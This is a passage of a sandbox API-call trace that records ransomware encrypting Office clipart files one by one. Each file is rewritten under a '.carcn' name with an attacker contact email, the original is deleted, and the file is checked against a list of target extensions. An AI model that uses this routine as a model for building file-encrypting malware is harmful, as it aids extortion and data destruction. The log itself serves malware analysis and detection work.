lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x7b0, lpOverlapped=0x0) returned 1 [0302.656] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.656] WriteFile (in: hFile=0x358, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.656] SetEndOfFile (hFile=0x358) returned 1 [0302.656] CloseHandle (hObject=0x358) returned 1 [0302.656] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.656] SetEndOfFile (hFile=0x380) returned 1 [0302.954] CloseHandle (hObject=0x380) returned 1 [0302.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.954] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 1 [0302.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0302.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0302.955] lstrlenW (lpString=".doc") returned 4 [0302.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.955] lstrlenW (lpString=".docx") returned 5 [0302.955] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.955] lstrlenW (lpString=".pdf") returned 4 [0302.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.955] lstrlenW (lpString=".xls") returned 4 [0302.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.955] lstrlenW (lpString=".xlsx") returned 5 [0302.955] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.955] lstrlenW (lpString=".ppt") returned 4 [0302.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0302.955] lstrlenW (lpString=".zip") returned 4 [0302.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.955] lstrlenW (lpString=".rar") returned 4 [0302.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.955] lstrlenW (lpString=".bz2") returned 4 [0302.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.955] lstrlenW (lpString=".7z") returned 3 [0302.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0302.956] lstrlenW (lpString=".dbf") returned 4 [0302.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0302.956] lstrlenW (lpString=".1cd") returned 4 [0302.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0302.956] lstrlenW (lpString=".jpg") returned 4 [0302.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.956] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.956] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0302.957] GetLastError () returned 0x0 [0302.957] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x1bba, lpOverlapped=0x0) returned 1 [0302.958] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x1bc0, lpOverlapped=0x0) returned 1 [0302.959] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.959] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.959] SetEndOfFile (hFile=0x370) returned 1 [0302.959] CloseHandle (hObject=0x370) returned 1 [0302.959] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.959] SetEndOfFile (hFile=0x380) returned 1 [0302.960] CloseHandle (hObject=0x380) returned 1 [0302.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.961] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 1 [0302.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0302.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0302.961] lstrlenW (lpString=".doc") returned 4 [0302.961] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.961] lstrlenW (lpString=".docx") returned 5 [0302.961] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.961] lstrlenW (lpString=".pdf") returned 4 [0302.961] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.961] lstrlenW (lpString=".xls") returned 4 [0302.961] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.961] lstrlenW (lpString=".xlsx") returned 5 [0302.961] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.961] lstrlenW (lpString=".ppt") returned 4 [0302.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0302.961] lstrlenW (lpString=".zip") returned 4 [0302.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.962] lstrlenW (lpString=".rar") returned 4 [0302.962] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.962] lstrlenW (lpString=".bz2") returned 4 [0302.962] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.962] lstrlenW (lpString=".7z") returned 3 [0302.962] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0302.962] lstrlenW (lpString=".dbf") returned 4 [0302.962] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0302.962] lstrlenW (lpString=".1cd") returned 4 [0302.962] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0302.962] lstrlenW (lpString=".jpg") returned 4 [0302.962] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.962] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.962] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0302.963] GetLastError () returned 0x0 [0302.963] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0xb20, lpOverlapped=0x0) returned 1 [0302.964] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xb30, lpOverlapped=0x0) returned 1 [0302.965] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.965] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.965] SetEndOfFile (hFile=0x370) returned 1 [0302.965] CloseHandle (hObject=0x370) returned 1 [0302.965] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.965] SetEndOfFile (hFile=0x380) returned 1 [0302.966] CloseHandle (hObject=0x380) returned 1 [0302.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 1 [0302.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0302.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0302.967] lstrlenW (lpString=".doc") returned 4 [0302.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.967] lstrlenW (lpString=".docx") returned 5 [0302.967] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.967] lstrlenW (lpString=".pdf") returned 4 [0302.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.967] lstrlenW (lpString=".xls") returned 4 [0302.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.967] lstrlenW (lpString=".xlsx") returned 5 [0302.967] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.967] lstrlenW (lpString=".ppt") returned 4 [0302.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0302.967] lstrlenW (lpString=".zip") returned 4 [0302.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.967] lstrlenW (lpString=".rar") returned 4 [0302.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.967] lstrlenW (lpString=".bz2") returned 4 [0302.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.968] lstrlenW (lpString=".7z") returned 3 [0302.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0302.968] lstrlenW (lpString=".dbf") returned 4 [0302.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0302.968] lstrlenW (lpString=".1cd") returned 4 [0302.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0302.968] lstrlenW (lpString=".jpg") returned 4 [0302.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.968] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.968] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0302.969] GetLastError () returned 0x0 [0302.969] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x47c, lpOverlapped=0x0) returned 1 [0302.970] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x480, lpOverlapped=0x0) returned 1 [0302.971] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.971] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.971] SetEndOfFile (hFile=0x370) returned 1 [0302.971] CloseHandle (hObject=0x370) returned 1 [0302.971] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.971] SetEndOfFile (hFile=0x380) returned 1 [0302.972] CloseHandle (hObject=0x380) returned 1 [0302.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 1 [0302.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0302.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0302.973] lstrlenW (lpString=".doc") returned 4 [0302.973] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.973] lstrlenW (lpString=".docx") returned 5 [0302.973] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.973] lstrlenW (lpString=".pdf") returned 4 [0302.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.973] lstrlenW (lpString=".xls") returned 4 [0302.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.973] lstrlenW (lpString=".xlsx") returned 5 [0302.973] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.973] lstrlenW (lpString=".ppt") returned 4 [0302.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0302.973] lstrlenW (lpString=".zip") returned 4 [0302.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.973] lstrlenW (lpString=".rar") returned 4 [0302.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.973] lstrlenW (lpString=".bz2") returned 4 [0302.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.974] lstrlenW (lpString=".7z") returned 3 [0302.974] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0302.974] lstrlenW (lpString=".dbf") returned 4 [0302.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0302.974] lstrlenW (lpString=".1cd") returned 4 [0302.974] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0302.974] lstrlenW (lpString=".jpg") returned 4 [0302.974] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.974] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.974] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0302.975] GetLastError () returned 0x0 [0302.975] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0xac4, lpOverlapped=0x0) returned 1 [0302.976] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xad0, lpOverlapped=0x0) returned 1 [0302.977] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.977] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.977] SetEndOfFile (hFile=0x370) returned 1 [0302.977] CloseHandle (hObject=0x370) returned 1 [0302.977] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.977] SetEndOfFile (hFile=0x380) returned 1 [0302.978] CloseHandle (hObject=0x380) returned 1 [0302.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 1 [0302.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0302.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0302.979] lstrlenW (lpString=".doc") returned 4 [0302.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.979] lstrlenW (lpString=".docx") returned 5 [0302.979] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.979] lstrlenW (lpString=".pdf") returned 4 [0302.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.979] lstrlenW (lpString=".xls") returned 4 [0302.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.979] lstrlenW (lpString=".xlsx") returned 5 [0302.979] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.979] lstrlenW (lpString=".ppt") returned 4 [0302.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0302.979] lstrlenW (lpString=".zip") returned 4 [0302.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.979] lstrlenW (lpString=".rar") returned 4 [0302.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.979] lstrlenW (lpString=".bz2") returned 4 [0302.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.979] lstrlenW (lpString=".7z") returned 3 [0302.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0302.979] lstrlenW (lpString=".dbf") returned 4 [0302.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0302.980] lstrlenW (lpString=".1cd") returned 4 [0302.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0302.980] lstrlenW (lpString=".jpg") returned 4 [0302.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.980] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.980] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0302.981] GetLastError () returned 0x0 [0302.981] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x4f4, lpOverlapped=0x0) returned 1 [0302.981] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x500, lpOverlapped=0x0) returned 1 [0302.982] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.982] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.983] SetEndOfFile (hFile=0x370) returned 1 [0302.983] CloseHandle (hObject=0x370) returned 1 [0302.983] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.983] SetEndOfFile (hFile=0x380) returned 1 [0302.984] CloseHandle (hObject=0x380) returned 1 [0302.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 1 [0302.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0302.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0302.984] lstrlenW (lpString=".doc") returned 4 [0302.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.985] lstrlenW (lpString=".docx") returned 5 [0302.985] 